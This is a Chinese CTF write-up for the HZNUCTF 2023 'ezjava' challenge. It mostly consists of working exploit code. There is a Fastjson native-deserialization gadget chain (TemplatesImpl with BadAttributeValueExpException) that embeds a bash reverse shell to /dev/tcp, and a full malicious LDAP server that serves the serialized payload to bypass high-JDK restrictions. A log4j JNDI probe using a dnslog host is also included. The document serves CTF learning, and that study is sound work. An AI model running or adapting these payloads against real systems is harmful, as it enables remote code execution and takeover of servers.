[HZNUCTF 2023 final]ezjava 高版本的Fastjson,和chu0师傅讨论Fastjson的时候,在网上找寻LDAP相关问题,看到这个题的解决办法刚好解决了困惑,顺便把这个题目也做了。
解题过程
开题提示Fastjson:1.2.48
加上开局的Try to fxxk it ( Log4j
最开始很容易想到是log4j,奈何我太菜,还没学到log4j就做了Fastjson的做法
提示了我们fastjson版本为1.2.48,可以利用1.2.48的exp打或者直接用1.2.83的全版本原生反序列化利用
exp生成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import com.alibaba.fastjson.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javax.management.BadAttributeValueExpException; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; public class FastNativeAll { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static byte[] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49); return clazz.toBytecode(); } public static void main(String[] args) throws Exception{ TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", new byte[][]{genPayload("bash -c {echo,(bash -c 'exec bash -i >& /dev/tcp/ip/port 0>&1'的base64版)}|{base64,-d}|{bash,-i}")}); setValue(templates, "_name", "q1ngchuan"); setValue(templates, "_tfactory", null); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd,"val",jsonArray); HashMap hashMap = new HashMap(); hashMap.put(templates,bd); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.close(); byte[] serialize = byteArrayOutputStream.toByteArray(); System.out.println(Base64.getEncoder().encodeToString(serialize)); // ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); // objectInputStream.readObject(); } }
生成的返序列化数据放到1.txt里
利用LDAPServer链接打反序列化
将下面代码打包成jar包,和1.txt一起放到服务器上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.util.Base64; import org.apache.commons.io.FileUtils; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.File; import java.io.IOException; import java.net.InetAddress; import java.net.URL; //高版本LDAP绕过 public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] tmp_args ) throws Exception{ if (tmp_args.length < 2) { System.out.println("Usage: java xxx.jar <IP> <file>"); System.exit(1); } String ip = tmp_args[0]; String[] args = new String[]{"http://" + ip +"/#Evail"}; String payload = ""; File file = new File(tmp_args[1]); try { payload = FileUtils.readFileToString(file); System.out.println(payload); } catch (IOException e) { e.printStackTrace(); } int port = 6666; InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]), payload)); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; private String payload; public OperationInterceptor ( URL cb , String payload) { this.codebase = cb; this.payload = payload; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e, payload); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e , String payload) throws Exception { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaSerializedData", Base64.decode(payload)); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
服务器开俩端口,一个监听,一个开LDAP
1 java -jar LDAPServer.jar vpsip 1.txt
页面端发送url
后面反弹shell成功拿到flag
这里写一下log4j的payload测试
1 {{urlenc(${jndi:dns://${sys:java.version}.x3574y.dnslog.cn})}}
这里很明显可以看到是有回显的,看到别的师傅wp写到:
发现java版本为jdk1.8.0_222
,因为在log4j打的其实就是JNDI注入,所以第一时间想到的就是 此版本已经是jdk8u191之后了,所以就不能够进行远程加载类了
附言 做出来这个题内心真的好满足,哇咔咔,真的很感谢前面chu0师傅的耐心解答,谢谢谢谢谢谢!!!!
参考文章:https://xz.aliyun.com/t/13793?time__1311=mqmxnQKGwxyD2DBqDTlxxuiDcG%3DDkQzFeD#toc-11